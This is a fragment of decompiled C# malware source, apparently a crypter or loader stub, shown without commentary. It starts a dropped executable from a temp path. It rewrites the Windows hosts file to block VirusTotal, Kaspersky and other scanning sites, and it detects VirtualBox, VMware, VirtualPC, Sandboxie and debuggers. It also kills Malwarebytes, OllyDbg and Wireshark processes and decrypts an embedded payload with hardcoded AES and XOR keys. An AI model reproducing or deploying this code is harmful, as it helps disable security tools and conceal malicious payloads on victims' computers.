Process.Start(temp2 + "\\%tmp%.exe");
|
|
label_49:
|
|
ProjectData.EndApp();
|
|
goto label_56;
|
|
label_51:
|
|
num2 = num3;
|
|
switch (num1)
|
|
{
|
|
case 1:
|
|
int num4 = num2 + 1;
|
|
num2 = 0;
|
|
switch (num4)
|
|
{
|
|
case 1:
|
|
goto label_0;
|
|
case 2:
|
|
goto label_1;
|
|
case 3:
|
|
goto label_2;
|
|
case 4:
|
|
goto label_3;
|
|
case 5:
|
|
goto label_4;
|
|
case 6:
|
|
goto label_5;
|
|
case 7:
|
|
goto label_6;
|
|
case 8:
|
|
goto label_7;
|
|
case 9:
|
|
goto label_8;
|
|
case 10:
|
|
goto label_9;
|
|
case 11:
|
|
goto label_10;
|
|
case 12:
|
|
case 13:
|
|
goto label_11;
|
|
case 14:
|
|
goto label_12;
|
|
case 15:
|
|
case 17:
|
|
case 18:
|
|
goto label_14;
|
|
case 16:
|
|
goto label_13;
|
|
case 19:
|
|
goto label_15;
|
|
case 20:
|
|
goto label_16;
|
|
case 21:
|
|
goto label_17;
|
|
case 22:
|
|
goto label_18;
|
|
case 23:
|
|
goto label_19;
|
|
case 24:
|
|
goto label_20;
|
|
case 25:
|
|
goto label_21;
|
|
case 26:
|
|
goto label_22;
|
|
case 27:
|
|
goto label_23;
|
|
case 28:
|
|
goto label_24;
|
|
case 29:
|
|
goto label_25;
|
|
case 30:
|
|
goto label_26;
|
|
case 31:
|
|
goto label_27;
|
|
case 32:
|
|
goto label_28;
|
|
case 33:
|
|
goto label_29;
|
|
case 34:
|
|
goto label_30;
|
|
case 35:
|
|
goto label_31;
|
|
case 36:
|
|
goto label_32;
|
|
case 37:
|
|
goto label_33;
|
|
case 38:
|
|
goto label_34;
|
|
case 39:
|
|
goto label_35;
|
|
case 40:
|
|
goto label_36;
|
|
case 41:
|
|
case 42:
|
|
goto label_37;
|
|
case 43:
|
|
goto label_38;
|
|
case 44:
|
|
goto label_39;
|
|
case 45:
|
|
case 46:
|
|
goto label_40;
|
|
case 47:
|
|
goto label_41;
|
|
case 48:
|
|
goto label_42;
|
|
case 49:
|
|
goto label_43;
|
|
case 50:
|
|
goto label_44;
|
|
case 51:
|
|
case 52:
|
|
case 53:
|
|
goto label_45;
|
|
case 54:
|
|
goto label_46;
|
|
case 55:
|
|
goto label_47;
|
|
case 56:
|
|
goto label_48;
|
|
case 57:
|
|
goto label_49;
|
|
case 58:
|
|
goto label_56;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_51;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_56:
|
|
if (num2 == 0)
|
|
return;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int IsDebuggerPresent();
|
|
|
|
public static void Main2()
|
|
{
|
|
if (pizde.IsDebuggerPresent() == 1)
|
|
Console.WriteLine("Debugger Is Present");
|
|
else
|
|
Console.WriteLine("Debugger Not Present");
|
|
}
|
|
|
|
private static void HostEdit()
|
|
{
|
|
StreamWriter streamWriter = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\\\hosts");
|
|
streamWriter.Write("127.0.0.1 www.virustotal.com");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 virustotal.com");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 novirusthanks.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 vscan.novirusthanks.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 virusscan.jotti.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 www.virusscan.jotti.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 virscan.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 www.virscan.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 virus-trap.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 www.virus-trap.org");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 filterbit.com");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 www.filterbit.com");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 viruschief.com");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 www.viruschief.com");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 kaspersky.com");
|
|
streamWriter.Write(Environment.NewLine);
|
|
streamWriter.Write("127.0.0.1 www.kaspersky.com");
|
|
streamWriter.Dispose();
|
|
}
|
|
|
|
public static bool AntiVirtualBox()
|
|
{
|
|
int num1;
|
|
bool flag;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 2;
|
|
pizde.getDevices();
|
|
flag = Operators.CompareString(pizde.Grafikadapter, "VirtualBox Graphics Adapter", false) == 0;
|
|
goto label_7;
|
|
label_2:
|
|
num2 = -1;
|
|
switch (num1)
|
|
{
|
|
case 2:
|
|
ProjectData.EndApp();
|
|
goto label_7;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_2;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_7:
|
|
int num3 = flag ? 1 : 0;
|
|
if (num2 == 0)
|
|
return num3 != 0;
|
|
ProjectData.ClearProjectError();
|
|
return num3 != 0;
|
|
}
|
|
|
|
public static bool AntiVmWare()
|
|
{
|
|
int num1;
|
|
bool flag;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 2;
|
|
pizde.getDevices();
|
|
flag = Operators.CompareString(pizde.Grafikadapter, "VMware SVGA II", false) == 0;
|
|
goto label_7;
|
|
label_2:
|
|
num2 = -1;
|
|
switch (num1)
|
|
{
|
|
case 2:
|
|
ProjectData.EndApp();
|
|
goto label_7;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_2;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_7:
|
|
int num3 = flag ? 1 : 0;
|
|
if (num2 == 0)
|
|
return num3 != 0;
|
|
ProjectData.ClearProjectError();
|
|
return num3 != 0;
|
|
}
|
|
|
|
public static bool AntiVirtualPC()
|
|
{
|
|
int num1;
|
|
bool flag;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 2;
|
|
pizde.getDevices();
|
|
flag = Operators.CompareString(pizde.Grafikadapter, "VM Additions S3 Trio32/64", false) == 0;
|
|
goto label_7;
|
|
label_2:
|
|
num2 = -1;
|
|
switch (num1)
|
|
{
|
|
case 2:
|
|
ProjectData.EndApp();
|
|
goto label_7;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_2;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_7:
|
|
int num3 = flag ? 1 : 0;
|
|
if (num2 == 0)
|
|
return num3 != 0;
|
|
ProjectData.ClearProjectError();
|
|
return num3 != 0;
|
|
}
|
|
|
|
private static void getDevices()
|
|
{
|
|
// ISSUE: unable to decompile the method.
|
|
}
|
|
|
|
public static void AntiMalwarebytes()
|
|
{
|
|
Process[] processes = Process.GetProcesses();
|
|
int num = checked (processes.Length - 1);
|
|
int index = 0;
|
|
while (index <= num)
|
|
{
|
|
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam", false) == 0)
|
|
processes[index].Kill();
|
|
checked { ++index; }
|
|
}
|
|
}
|
|
|
|
public static void AntiOllydbg()
|
|
{
|
|
Process[] processes = Process.GetProcesses();
|
|
int num = checked (processes.Length - 1);
|
|
int index = 0;
|
|
while (index <= num)
|
|
{
|
|
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg", false) == 0)
|
|
processes[index].Kill();
|
|
checked { ++index; }
|
|
}
|
|
}
|
|
|
|
public static void AntiWireshark()
|
|
{
|
|
Process[] processes = Process.GetProcesses();
|
|
int num = checked (processes.Length - 1);
|
|
int index = 0;
|
|
while (index <= num)
|
|
{
|
|
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0)
|
|
processes[index].Kill();
|
|
checked { ++index; }
|
|
}
|
|
}
|
|
|
|
private static bool IsProcessRunning2(string name)
|
|
{
|
|
Process[] processesByName = Process.GetProcessesByName("%temp%");
|
|
int index = 0;
|
|
if (index >= processesByName.Length)
|
|
{
|
|
bool flag;
|
|
return flag;
|
|
}
|
|
return processesByName[index] != null;
|
|
}
|
|
|
|
private static bool IsProcessRunning3(string name)
|
|
{
|
|
Process[] processesByName = Process.GetProcessesByName("%tmp%");
|
|
int index = 0;
|
|
if (index >= processesByName.Length)
|
|
{
|
|
bool flag;
|
|
return flag;
|
|
}
|
|
return processesByName[index] != null;
|
|
}
|
|
|
|
private static bool IsProcessRunning4(string name)
|
|
{
|
|
Process[] processesByName = Process.GetProcessesByName("sandboxierpcss");
|
|
int index = 0;
|
|
if (index >= processesByName.Length)
|
|
{
|
|
bool flag;
|
|
return flag;
|
|
}
|
|
return processesByName[index] != null;
|
|
}
|
|
|
|
private static bool IsProcessRunning5(string name)
|
|
{
|
|
Process[] processesByName = Process.GetProcessesByName("rundll32 ");
|
|
int index = 0;
|
|
if (index >= processesByName.Length)
|
|
{
|
|
bool flag;
|
|
return flag;
|
|
}
|
|
return processesByName[index] != null;
|
|
}
|
|
|
|
public static byte[] okitokjwe33(byte[] data)
|
|
{
|
|
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
|
|
{
|
|
rijndaelManaged.IV = new byte[16]
|
|
{
|
|
(byte) 1,
|
|
(byte) 2,
|
|
(byte) 3,
|
|
(byte) 4,
|
|
(byte) 5,
|
|
(byte) 6,
|
|
(byte) 7,
|
|
(byte) 8,
|
|
(byte) 9,
|
|
(byte) 1,
|
|
(byte) 2,
|
|
(byte) 3,
|
|
(byte) 4,
|
|
(byte) 5,
|
|
(byte) 6,
|
|
(byte) 7
|
|
};
|
|
rijndaelManaged.Key = new byte[16]
|
|
{
|
|
(byte) 7,
|
|
(byte) 6,
|
|
(byte) 5,
|
|
(byte) 4,
|
|
(byte) 3,
|
|
(byte) 2,
|
|
(byte) 1,
|
|
(byte) 9,
|
|
(byte) 8,
|
|
(byte) 7,
|
|
(byte) 6,
|
|
(byte) 5,
|
|
(byte) 4,
|
|
(byte) 3,
|
|
(byte) 2,
|
|
(byte) 1
|
|
};
|
|
return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
|
|
}
|
|
}
|
|
|
|
public static byte[] decrypt(byte[] message, string password)
|
|
{
|
|
byte[] bytes = Encoding.Default.GetBytes(password);
|
|
int num1 = (int) message[checked (message.Length - 1)] ^ 112;
|
|
byte[] arySrc = new byte[checked (message.Length + 1)];
|
|
int num2 = checked (message.Length - 1);
|
|
int index1 = 0;
|
|
while (index1 <= num2)
|
|
{
|
|
int index2;
|
|
arySrc[index1] = checked ((byte) ((int) message[index1] ^ num1 ^ (int) bytes[index2]));
|
|
if (index2 == checked (password.Length - 1))
|
|
index2 = 0;
|
|
else
|
|
checked { ++index2; }
|
|
checked { ++index1; }
|
|
}
|
|
return (byte[]) Microsoft.VisualBasic.CompilerServices.Utils.CopyArray((Array) arySrc, (Array) new byte[checked (message.Length - 2 + 1)]);
|
|
}
|
|
}
|